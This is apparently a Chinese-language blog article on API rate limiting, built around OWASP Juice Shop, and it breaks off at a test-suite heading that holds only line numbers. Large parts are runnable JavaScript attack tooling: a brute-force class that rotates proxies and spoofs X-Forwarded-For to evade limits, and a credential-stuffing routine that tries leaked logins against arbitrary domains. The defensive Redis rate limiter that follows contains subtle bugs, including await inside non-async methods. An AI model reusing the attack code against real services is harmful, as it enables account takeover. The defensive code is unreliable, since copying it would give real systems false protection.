# API 速率限制的技术价值与实战挑战

在现代 Web 应用架构中,API 速率限制不仅是安全防护的第一道防线,更是系统稳定性的重要保障。Juice Shop 作为一个典型的企业级应用,其登录接口、敏感操作接口等都面临着暴力破解攻击的威胁。这种攻击不仅可能导致账户被盗,还会对系统性能造成严重影响。

# 技术挑战的多维度分析

从攻击者视角看,现代暴力破解已经从简单的字典攻击演变为智能化的多维度攻击:

  • 分布式攻击:利用僵尸网络从不同 IP 同时发起攻击
  • 智能节奏控制:模拟正常用户行为,规避基础限速检测
  • 凭证填充攻击:利用泄露的凭证库进行批量尝试
  • 业务逻辑绕过:通过密码重置、注册等接口绕过登录限速

从防护者视角看,我们需要在安全防护、用户体验、系统性能之间找到最佳平衡点:

  • 过于严格的限制会影响正常用户体验
  • 过于宽松的限制无法有效防护攻击
  • 分布式环境下的限速状态同步问题
  • 不同业务场景的差异化限速需求

# Juice Shop 速率限制架构深度分析

# 当前限速机制的实现原理

Juice Shop 采用的是基于 Express 的应用层限速机制,主要通过 express-rate-limit 中间件实现。让我们深入分析其实现细节:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// Juice Shop 当前的限速实现分析
const rateLimit = require('express-rate-limit');

/**
* 基础限速配置
* 问题:单一维度限速,容易被绕过
*/
const basicLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15分钟窗口
max: 100, // 最大请求数
message: 'Too many requests from this IP'
});

// 登录接口的限速配置
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 5, // 登录接口更严格的限制
skipSuccessfulRequests: true // 成功请求不计入限制
});

# 架构缺陷深度分析

通过代码审计,我们发现 Juice Shop 的限速机制存在以下关键问题:

  1. 单维度限速:仅基于 IP 地址限速,攻击者可以通过 IP 轮换绕过
  2. 固定窗口:使用固定时间窗口,存在窗口边界攻击问题
  3. 缺乏智能检测:无法识别异常行为模式
  4. 状态存储局限:内存存储无法支持分布式部署

# 暴力破解攻击技术深度实现

# 基础暴力破解攻击框架

让我们构建一个完整的暴力破解攻击框架,展示攻击者如何绕过基础限速:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
/**
* 智能暴力破解攻击框架
* 特点:分布式、智能节奏、多维度绕过
*/
class BruteForceAttacker {
constructor(targetUrl, credentialsList) {
this.targetUrl = targetUrl;
this.credentials = credentialsList;
this.proxyList = [];
this.attackStats = {
totalAttempts: 0,
successfulAttempts: 0,
blockedAttempts: 0,
averageResponseTime: 0
};
this.attackConfig = {
concurrentConnections: 5,
delayBetweenAttempts: 1000,
exponentialBackoff: true,
proxyRotation: true
};
}

/**
* 加载代理池,用于IP轮换绕过限速
* @param {Array} proxies - 代理服务器列表
*/
loadProxyPool(proxies) {
this.proxyList = proxies;
console.log(`[ATTACK] 加载代理池: ${proxies.length} 个代理节点`);
}

/**
* 智能攻击节奏控制
* 模拟正常用户行为,规避检测
*/
calculateAttackDelay(attemptCount, lastResponseStatus) {
let baseDelay = this.attackConfig.delayBetweenAttempts;

// 根据响应状态调整延迟
if (lastResponseStatus === 429) {
// 触发限速,使用指数退避
baseDelay = Math.min(baseDelay * Math.pow(2, attemptCount / 10), 30000);
} else if (lastResponseStatus === 403) {
// 触发封禁,延长等待时间
baseDelay = 60000;
}

// 添加随机扰动,模拟人类行为
const jitter = Math.random() * baseDelay * 0.3;
return baseDelay + jitter;
}

/**
* 单次攻击尝试
* @param {Object} credential - 凭证对象 {username, password}
* @param {string} proxy - 代理服务器
*/
async attemptLogin(credential, proxy) {
const startTime = Date.now();

try {
const response = await fetch(this.targetUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'User-Agent': this.generateRandomUserAgent(),
'X-Forwarded-For': this.generateRandomIP()
},
body: JSON.stringify({
email: credential.username,
password: credential.password
}),
// 使用代理绕过IP限速
agent: proxy ? new HttpsProxyAgent(proxy) : null,
timeout: 10000
});

const responseTime = Date.now() - startTime;
this.updateAttackStats(response.status, responseTime);

return {
success: response.ok,
status: response.status,
responseTime: responseTime,
credential: credential,
data: await response.text()
};

} catch (error) {
console.error(`[ATTACK] 请求失败: ${error.message}`);
return {
success: false,
status: 0,
error: error.message
};
}
}

/**
* 并发攻击执行
* 使用多个线程同时攻击,提高效率
*/
async executeConcurrentAttack() {
console.log(`[ATTACK] 开始并发攻击: ${this.credentials.length} 个凭证`);

const promises = [];
const credentialChunks = this.chunkArray(this.credentials, this.attackConfig.concurrentConnections);

for (let i = 0; i < credentialChunks.length; i++) {
const chunk = credentialChunks[i];
const proxy = this.proxyList.length > 0 ?
this.proxyList[i % this.proxyList.length] : null;

// 延迟启动,避免同时触发限速
const delay = i * 200;
promises.push(
this.delay(delay).then(() => this.processCredentialChunk(chunk, proxy))
);
}

const results = await Promise.allSettled(promises);
return this.analyzeAttackResults(results);
}

/**
* 处理凭证块
* @param {Array} chunk - 凭证块
* @param {string} proxy - 代理服务器
*/
async processCredentialChunk(chunk, proxy) {
const chunkResults = [];

for (let i = 0; i < chunk.length; i++) {
const credential = chunk[i];
const result = await this.attemptLogin(credential, proxy);
chunkResults.push(result);

// 智能延迟控制
if (i < chunk.length - 1) {
const delay = this.calculateAttackDelay(i, result.status);
await this.delay(delay);
}
}

return chunkResults;
}

/**
* 生成随机User-Agent,模拟不同浏览器
*/
generateRandomUserAgent() {
const userAgents = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
];
return userAgents[Math.floor(Math.random() * userAgents.length)];
}

/**
* 生成随机IP地址,用于X-Forwarded-For头部
*/
generateRandomIP() {
return `${Math.floor(Math.random() * 256)}.${Math.floor(Math.random() * 256)}.${Math.floor(Math.random() * 256)}.${Math.floor(Math.random() * 256)}`;
}

/**
* 更新攻击统计信息
*/
updateAttackStats(status, responseTime) {
this.attackStats.totalAttempts++;

if (status === 200) {
this.attackStats.successfulAttempts++;
} else if (status === 429 || status === 403) {
this.attackStats.blockedAttempts++;
}

// 更新平均响应时间
this.attackStats.averageResponseTime =
(this.attackStats.averageResponseTime * (this.attackStats.totalAttempts - 1) + responseTime) /
this.attackStats.totalAttempts;
}

/**
* 分析攻击结果
*/
analyzeAttackResults(results) {
const successfulLogins = [];
const blockedAttempts = [];
const performanceMetrics = {
totalRequests: 0,
averageResponseTime: 0,
blockedRate: 0
};

results.forEach(result => {
if (result.status === 'fulfilled') {
result.value.forEach(attempt => {
performanceMetrics.totalRequests++;

if (attempt.success) {
successfulLogins.push(attempt);
} else if (attempt.status === 429 || attempt.status === 403) {
blockedAttempts.push(attempt);
}
});
}
});

performanceMetrics.blockedRate =
(blockedAttempts.length / performanceMetrics.totalRequests) * 100;

return {
successfulLogins,
blockedAttempts,
performanceMetrics,
attackStats: this.attackStats
};
}

/**
* 工具函数:数组分块
*/
chunkArray(array, size) {
const chunks = [];
for (let i = 0; i < array.length; i += size) {
chunks.push(array.slice(i, i + size));
}
return chunks;
}

/**
* 工具函数:延迟执行
*/
delay(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
}

/**
* 攻击执行示例
*/
async function executeAttackDemo() {
// 准备攻击数据
const targetUrl = 'http://localhost:3000/rest/user/login';
const credentials = [
{ username: '[email protected]', password: 'admin123' },
{ username: '[email protected]', password: 'password123' },
{ username: '[email protected]', password: 'OhG0dPlease1' },
// ... 更多凭证
];

const proxies = [
'http://proxy1.example.com:8080',
'http://proxy2.example.com:8080',
'http://proxy3.example.com:8080'
];

// 初始化攻击框架
const attacker = new BruteForceAttacker(targetUrl, credentials);
attacker.loadProxyPool(proxies);

// 执行攻击
const results = await attacker.executeConcurrentAttack();

// 输出攻击结果
console.log('[ATTACK] 攻击完成');
console.log(`成功登录: ${results.successfulLogins.length}`);
console.log(`被阻断请求: ${results.blockedAttempts.length}`);
console.log(`阻断率: ${results.performanceMetrics.blockedRate.toFixed(2)}%`);
console.log(`平均响应时间: ${results.performanceMetrics.averageResponseTime.toFixed(2)}ms`);

return results;
}

# 高级绕过技术实现

除了基础的代理轮换,现代攻击者还会使用更高级的技术:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
/**
* 高级绕过技术实现
* 包含凭证填充、时间窗口攻击等
*/
class AdvancedBypassTechniques {
constructor() {
this.credentialDatabase = [];
this.sessionPool = [];
this.behavioralProfile = {};
}

/**
* 凭证填充攻击
* 利用泄露的邮箱密码组合进行批量尝试
*/
async credentialStuffingAttack(targetDomains) {
console.log('[BYPASS] 开始凭证填充攻击');

// 加载泄露的凭证数据库
const leakedCredentials = await this.loadLeakedCredentials();

const attackPromises = targetDomains.map(async (domain) => {
const domainResults = [];

for (const credential of leakedCredentials) {
// 尝试在不同域名使用相同凭证
const result = await this.tryCredentialOnDomain(domain, credential);
if (result.success) {
domainResults.push({
domain: domain,
credential: credential,
userData: result.userData
});
}

// 智能延迟,避免触发限速
await this.calculateOptimalDelay(domain);
}

return domainResults;
});

const results = await Promise.allSettled(attackPromises);
return this.analyzeCredentialStuffingResults(results);
}

/**
* 时间窗口边界攻击
* 利用固定时间窗口的重置机制进行攻击
*/
async slidingWindowAttack(targetUrl, maxRequestsPerWindow) {
console.log('[BYPASS] 开始滑动窗口攻击');

const attackDuration = 15 * 60 * 1000; // 15分钟
const windowSize = 15 * 60 * 1000; // 窗口大小
const attackStartTime = Date.now();

let successfulRequests = 0;
let blockedRequests = 0;

while (Date.now() - attackStartTime < attackDuration) {
const currentTime = Date.now();
const windowStart = currentTime - windowSize;

// 计算当前窗口内的请求数
const requestsInWindow = await this.countRequestsInWindow(windowStart, currentTime);

if (requestsInWindow < maxRequestsPerWindow) {
// 还可以在当前窗口内发送请求
const result = await this.sendRequest(targetUrl);
if (result.success) {
successfulRequests++;
} else if (result.blocked) {
blockedRequests++;
}
} else {
// 等待窗口重置
const waitTime = windowSize - (currentTime % windowSize);
await this.delay(waitTime + 100);
}
}

return {
successfulRequests,
blockedRequests,
efficiency: successfulRequests / (successfulRequests + blockedRequests)
};
}

/**
* 会话固定攻击
* 通过会话复用绕过限速
*/
async sessionFixationAttack(targetUrl) {
console.log('[BYPASS] 开始会话固定攻击');

// 预先创建多个会话
const sessions = await this.createMultipleSessions(targetUrl);

const attackResults = [];

for (const session of sessions) {
// 使用每个会话进行有限次数的尝试
const sessionResults = await this.attackWithSession(session, targetUrl);
attackResults.push(sessionResults);

// 会话轮换,避免单个会话触发限速
await this.rotateSession(session);
}

return this.consolidateSessionResults(attackResults);
}

/**
* 行为模拟攻击
* 模拟正常用户行为模式
*/
async behavioralSimulationAttack(targetUrl) {
console.log('[BYPASS] 开始行为模拟攻击');

const userProfile = await this.buildBehavioralProfile();
const attackResults = [];

for (let i = 0; i < userProfile.dailyLoginAttempts; i++) {
// 模拟用户的登录时间模式
const loginTime = this.calculateRealisticLoginTime(userProfile);
await this.delay(loginTime);

// 模拟用户的设备特征
const deviceProfile = this.selectDeviceProfile(userProfile.devices);

const result = await this.simulateUserLogin(targetUrl, deviceProfile);
attackResults.push(result);
}

return attackResults;
}

/**
* 加载泄露的凭证数据库
*/
async loadLeakedCredentials() {
// 模拟加载泄露凭证
return [
{ email: '[email protected]', password: 'password123' },
{ email: '[email protected]', password: 'qwerty123' },
{ email: '[email protected]', password: 'admin123' },
// ... 更多泄露凭证
];
}

/**
* 在指定域名尝试凭证
*/
async tryCredentialOnDomain(domain, credential) {
try {
const response = await fetch(`https://${domain}/api/login`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
},
body: JSON.stringify({
email: credential.email,
password: credential.password
})
});

return {
success: response.ok,
status: response.status,
userData: response.ok ? await response.json() : null
};

} catch (error) {
return { success: false, error: error.message };
}
}

/**
* 计算最优延迟时间
*/
async calculateOptimalDelay(domain) {
// 根据域名的历史响应模式调整延迟
const domainProfile = this.behavioralProfile[domain] || {
averageResponseTime: 500,
rateLimitThreshold: 10
};

const baseDelay = domainProfile.averageResponseTime * 2;
const jitter = Math.random() * baseDelay * 0.5;

return baseDelay + jitter;
}

/**
* 创建多个会话
*/
async createMultipleSessions(targetUrl) {
const sessions = [];

for (let i = 0; i < 5; i++) {
const session = await this.createNewSession(targetUrl);
sessions.push(session);
}

return sessions;
}

/**
* 构建用户行为档案
*/
async buildBehavioralProfile() {
return {
dailyLoginAttempts: Math.floor(Math.random() * 5) + 1,
preferredLoginTimes: ['09:00', '12:00', '18:00'],
devices: ['desktop', 'mobile', 'tablet'],
locations: ['home', 'office', 'cafe']
};
}

/**
* 工具函数:延迟执行
*/
delay(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
}

# 企业级 API 速率限制防护系统架构

# 多层防护架构设计

基于对攻击技术的深入分析,我们设计了一套企业级的 API 速率限制防护系统:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
/**
* 企业级 API 速率限制防护系统
* 特点:多层防护、智能检测、动态调整
*/
class EnterpriseRateLimitSystem {
constructor(config) {
this.config = {
redis: {
host: 'localhost',
port: 6379,
db: 0
},
rateLimits: {
global: { windowMs: 60000, max: 1000 },
perIP: { windowMs: 60000, max: 100 },
perUser: { windowMs: 60000, max: 20 },
perEndpoint: { windowMs: 60000, max: 50 }
},
intelligentDetection: {
enabled: true,
anomalyThreshold: 2.5,
learningPeriod: 3600000 // 1小时
},
adaptiveThrottling: {
enabled: true,
loadThreshold: 0.8,
scalingFactor: 0.5
},
...config
};

this.redis = new Redis(this.config.redis);
this.behavioralAnalyzer = new BehavioralAnalyzer(this.redis);
this.adaptiveThrottler = new AdaptiveThrottler(this.redis);
this.metricsCollector = new MetricsCollector(this.redis);
}

/**
* 主要的限速中间件
* 集成多层防护策略
*/
rateLimitMiddleware() {
return async (req, res, next) => {
const requestId = this.generateRequestId();
const startTime = Date.now();

try {
// 提取请求特征
const requestFeatures = this.extractRequestFeatures(req);

// 多层限速检查
const limitChecks = await Promise.all([
this.checkGlobalLimit(requestFeatures),
this.checkPerIPLimit(requestFeatures),
this.checkPerUserLimit(requestFeatures),
this.checkPerEndpointLimit(requestFeatures),
this.intelligentDetection(requestFeatures),
this.adaptiveThrottling(requestFeatures)
]);

// 检查是否触发任何限制
const triggeredLimits = limitChecks.filter(check => check.triggered);

if (triggeredLimits.length > 0) {
// 记录限速事件
await this.recordRateLimitEvent(requestId, requestFeatures, triggeredLimits);

// 返回适当的限速响应
const response = this.buildRateLimitResponse(triggeredLimits);
return res.status(429).json(response);
}

// 记录正常请求
await this.recordNormalRequest(requestId, requestFeatures);

// 添加响应头
this.addRateLimitHeaders(res, requestFeatures);

next();

} catch (error) {
console.error(`[RATE_LIMIT] 错误: ${error.message}`);
// 错误时允许请求通过,避免影响业务
next();
} finally {
// 记录处理时间
const processingTime = Date.now() - startTime;
await this.metricsCollector.recordProcessingTime(processingTime);
}
};
}

/**
* 提取请求特征
* 用于多维度的限速分析
*/
extractRequestFeatures(req) {
return {
// 基础特征
ip: this.getClientIP(req),
userAgent: req.get('User-Agent'),
endpoint: req.path,
method: req.method,

// 用户特征
userId: this.extractUserId(req),
sessionId: this.extractSessionId(req),

// 时间特征
timestamp: Date.now(),
hour: new Date().getHours(),
dayOfWeek: new Date().getDay(),

// 行为特征
requestSize: JSON.stringify(req.body).length,
headers: req.headers,

// 地理特征(如果可用)
geoLocation: this.extractGeoLocation(req),

// 设备特征
deviceType: this.detectDeviceType(req),
browserType: this.detectBrowserType(req)
};
}

/**
* 全局限速检查
* 防止系统过载
*/
async checkGlobalLimit(features) {
const key = `global:requests:${Math.floor(features.timestamp / this.config.rateLimits.global.windowMs)}`;
const current = await this.redis.incr(key);

if (current === 1) {
await this.redis.expire(key, Math.ceil(this.config.rateLimits.global.windowMs / 1000));
}

return {
type: 'global',
triggered: current > this.config.rateLimits.global.max,
current: current,
limit: this.config.rateLimits.global.max,
windowMs: this.config.rateLimits.global.windowMs
};
}

/**
* IP 维度限速检查
*/
async checkPerIPLimit(features) {
const key = `ip:${features.ip}:requests:${Math.floor(features.timestamp / this.config.rateLimits.perIP.windowMs)}`;
const current = await this.redis.incr(key);

if (current === 1) {
await this.redis.expire(key, Math.ceil(this.config.rateLimits.perIP.windowMs / 1000));
}

// 检查 IP 信誉
const ipReputation = await this.checkIPReputation(features.ip);

return {
type: 'ip',
triggered: current > this.config.rateLimits.perIP.max || ipReputation.isMalicious,
current: current,
limit: this.config.rateLimits.perIP.max,
windowMs: this.config.rateLimits.perIP.windowMs,
ipReputation: ipReputation
};
}

/**
* 用户维度限速检查
*/
async checkPerUserLimit(features) {
if (!features.userId) {
return { type: 'user', triggered: false };
}

const key = `user:${features.userId}:requests:${Math.floor(features.timestamp / this.config.rateLimits.perUser.windowMs)}`;
const current = await this.redis.incr(key);

if (current === 1) {
await this.redis.expire(key, Math.ceil(this.config.rateLimits.perUser.windowMs / 1000));
}

// 检查用户状态
const userStatus = await this.checkUserStatus(features.userId);

return {
type: 'user',
triggered: current > this.config.rateLimits.perUser.max || userStatus.isBlocked,
current: current,
limit: this.config.rateLimits.perUser.max,
windowMs: this.config.rateLimits.perUser.windowMs,
userStatus: userStatus
};
}

/**
* 端点维度限速检查
*/
async checkPerEndpointLimit(features) {
const key = `endpoint:${features.endpoint}:requests:${Math.floor(features.timestamp / this.config.rateLimits.perEndpoint.windowMs)}`;
const current = await this.redis.incr(key);

if (current === 1) {
await this.redis.expire(key, Math.ceil(this.config.rateLimits.perEndpoint.windowMs / 1000));
}

return {
type: 'endpoint',
triggered: current > this.config.rateLimits.perEndpoint.max,
current: current,
limit: this.config.rateLimits.perEndpoint.max,
windowMs: this.config.rateLimits.perEndpoint.windowMs
};
}

/**
* 智能异常检测
*/
async intelligentDetection(features) {
if (!this.config.intelligentDetection.enabled) {
return { type: 'intelligent', triggered: false };
}

const anomalyScore = await this.behavioralAnalyzer.analyzeRequest(features);

return {
type: 'intelligent',
triggered: anomalyScore > this.config.intelligentDetection.anomalyThreshold,
anomalyScore: anomalyScore,
threshold: this.config.intelligentDetection.anomalyThreshold
};
}

/**
* 自适应限流
*/
async adaptiveThrottling(features) {
if (!this.config.adaptiveThrottling.enabled) {
return { type: 'adaptive', triggered: false };
}

const systemLoad = await this.getSystemLoad();
const shouldThrottle = systemLoad > this.config.adaptiveThrottling.loadThreshold;

if (shouldThrottle) {
// 动态调整限速阈值
const adjustedLimit = Math.floor(
this.config.rateLimits.perIP.max * this.config.adaptiveThrottling.scalingFactor
);

return {
type: 'adaptive',
triggered: true,
systemLoad: systemLoad,
adjustedLimit: adjustedLimit,
reason: 'High system load'
};
}

return {
type: 'adaptive',
triggered: false,
systemLoad: systemLoad
};
}

/**
* IP 信誉检查
*/
async checkIPReputation(ip) {
// 检查 IP 是否在黑名单中
const isBlacklisted = await this.redis.sismember('ip:blacklist', ip);

// 检查 IP 历史行为
const historyKey = `ip:${ip}:history`;
const history = await this.redis.lrange(historyKey, 0, -1);

const maliciousEvents = history.filter(event =>
event.includes('blocked') || event.includes('malicious')
).length;

return {
isBlacklisted: isBlacklisted,
isMalicious: maliciousEvents > 5,
reputationScore: Math.max(0, 100 - maliciousEvents * 10),
historyCount: history.length
};
}

/**
* 用户状态检查
*/
async checkUserStatus(userId) {
const userKey = `user:${userId}:status`;
const status = await this.redis.hgetall(userKey);

return {
isBlocked: status.blocked === 'true',
isVerified: status.verified === 'true',
riskLevel: status.riskLevel || 'low',
lastActivity: status.lastActivity
};
}

/**
* 构建限速响应
*/
buildRateLimitResponse(triggeredLimits) {
const primaryLimit = triggeredLimits[0];

return {
error: 'Rate limit exceeded',
message: this.buildLimitMessage(primaryLimit),
retryAfter: this.calculateRetryAfter(primaryLimit),
limitDetails: triggeredLimits.map(limit => ({
type: limit.type,
current: limit.current,
limit: limit.limit
}))
};
}

/**
* 构建限速消息
*/
buildLimitMessage(limit) {
const messages = {
global: 'Global rate limit exceeded',
ip: 'IP rate limit exceeded',
user: 'User rate limit exceeded',
endpoint: 'Endpoint rate limit exceeded',
intelligent: 'Suspicious activity detected',
adaptive: 'System under load, requests throttled'
};

return messages[limit.type] || 'Rate limit exceeded';
}

/**
* 计算重试时间
*/
calculateRetryAfter(limit) {
return Math.ceil(limit.windowMs / 1000);
}

/**
* 添加限速响应头
*/
addRateLimitHeaders(res, features) {
// 添加限速信息到响应头
res.set('X-RateLimit-Limit', this.config.rateLimits.perIP.max);
res.set('X-RateLimit-Remaining', Math.max(0, this.config.rateLimits.perIP.max - features.current));
res.set('X-RateLimit-Reset', new Date(Date.now() + this.config.rateLimits.perIP.windowMs).toISOString());
}

/**
* 工具函数:生成请求ID
*/
generateRequestId() {
return `req_${Date.now()}_${Math.random().toString(36).substr(2, 9)}`;
}

/**
* 工具函数:获取客户端IP
*/
getClientIP(req) {
return req.ip ||
req.connection.remoteAddress ||
req.socket.remoteAddress ||
(req.connection.socket ? req.connection.socket.remoteAddress : null) ||
req.headers['x-forwarded-for']?.split(',')[0] ||
req.headers['x-real-ip'] ||
'127.0.0.1';
}

/**
* 工具函数:提取用户ID
*/
extractUserId(req) {
return req.user?.id || req.session?.userId || null;
}

/**
* 工具函数:提取会话ID
*/
extractSessionId(req) {
return req.sessionID || req.headers['x-session-id'] || null;
}

/**
* 工具函数:提取地理位置
*/
extractGeoLocation(req) {
// 从请求头或IP地理位置服务获取
return req.headers['x-geo-location'] || null;
}

/**
* 工具函数:检测设备类型
*/
detectDeviceType(req) {
const userAgent = req.get('User-Agent') || '';

if (/mobile/i.test(userAgent)) return 'mobile';
if (/tablet/i.test(userAgent)) return 'tablet';
return 'desktop';
}

/**
* 工具函数:检测浏览器类型
*/
detectBrowserType(req) {
const userAgent = req.get('User-Agent') || '';

if (/chrome/i.test(userAgent)) return 'chrome';
if (/firefox/i.test(userAgent)) return 'firefox';
if (/safari/i.test(userAgent)) return 'safari';
return 'unknown';
}
}

/**
* 行为分析器
* 用于智能异常检测
*/
class BehavioralAnalyzer {
constructor(redis) {
this.redis = redis;
this.baselineProfiles = new Map();
}

/**
* 分析请求行为
*/
async analyzeRequest(features) {
// 获取历史基线
const baseline = await this.getBaselineProfile(features);

// 计算异常分数
const anomalyScore = this.calculateAnomalyScore(features, baseline);

// 更新基线
await this.updateBaseline(features, anomalyScore);

return anomalyScore;
}

/**
* 获取基线档案
*/
async getBaselineProfile(features) {
const key = `baseline:${features.ip}:${features.endpoint}`;
const baseline = await this.redis.hgetall(key);

return {
averageRequestInterval: baseline.avgInterval || 5000,
typicalRequestSize: baseline.avgSize || 500,
usualTimeOfDay: baseline.usualHours ? JSON.parse(baseline.usualHours) : [9, 12, 18],
deviceConsistency: baseline.deviceConsistency || 0.8
};
}

/**
* 计算异常分数
*/
calculateAnomalyScore(features, baseline) {
let score = 0;

// 请求间隔异常
const intervalScore = this.calculateIntervalAnomaly(features, baseline);
score += intervalScore * 0.3;

// 请求大小异常
const sizeScore = this.calculateSizeAnomaly(features, baseline);
score += sizeScore * 0.2;

// 时间异常
const timeScore = this.calculateTimeAnomaly(features, baseline);
score += timeScore * 0.2;

// 设备一致性异常
const deviceScore = this.calculateDeviceAnomaly(features, baseline);
score += deviceScore * 0.3;

return score;
}

/**
* 计算请求间隔异常
*/
calculateIntervalAnomaly(features, baseline) {
// 获取上次请求时间
const lastRequestKey = `last_request:${features.ip}:${features.endpoint}`;
const lastRequestTime = parseInt(await this.redis.get(lastRequestKey)) || 0;

const interval = features.timestamp - lastRequestTime;
const expectedInterval = baseline.averageRequestInterval;

// 如果间隔远小于预期,异常分数增加
if (interval < expectedInterval * 0.1) {
return 3.0;
} else if (interval < expectedInterval * 0.5) {
return 1.5;
}

return 0;
}

/**
* 计算请求大小异常
*/
calculateSizeAnomaly(features, baseline) {
const sizeRatio = features.requestSize / baseline.typicalRequestSize;

if (sizeRatio > 5 || sizeRatio < 0.1) {
return 2.0;
} else if (sizeRatio > 2 || sizeRatio < 0.5) {
return 1.0;
}

return 0;
}

/**
* 计算时间异常
*/
calculateTimeAnomaly(features, baseline) {
if (!baseline.usualTimeOfDay.includes(features.hour)) {
return 1.5;
}

return 0;
}

/**
* 计算设备异常
*/
calculateDeviceAnomaly(features, baseline) {
const deviceKey = `device_history:${features.ip}`;
const deviceHistory = await this.redis.lrange(deviceKey, 0, -1);

if (deviceHistory.length === 0) {
return 0;
}

const deviceConsistency = deviceHistory.filter(device => device === features.deviceType).length / deviceHistory.length;

if (deviceConsistency < baseline.deviceConsistency) {
return 2.0;
}

return 0;
}

/**
* 更新基线档案
*/
async updateBaseline(features, anomalyScore) {
const key = `baseline:${features.ip}:${features.endpoint}`;

// 只在非异常情况下更新基线
if (anomalyScore < 2.0) {
await this.redis.hincrby(key, 'requestCount', 1);

// 更新设备历史
const deviceKey = `device_history:${features.ip}`;
await this.redis.lpush(deviceKey, features.deviceType);
await this.redis.ltrim(deviceKey, 0, 9); // 保留最近10个设备记录
}

// 记录最后请求时间
const lastRequestKey = `last_request:${features.ip}:${features.endpoint}`;
await this.redis.set(lastRequestKey, features.timestamp);
}
}

# API 速率限制安全测试框架

# 自动化测试套件

为了验证我们的防护系统效果,我们开发了一套完整的安全测试框架:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
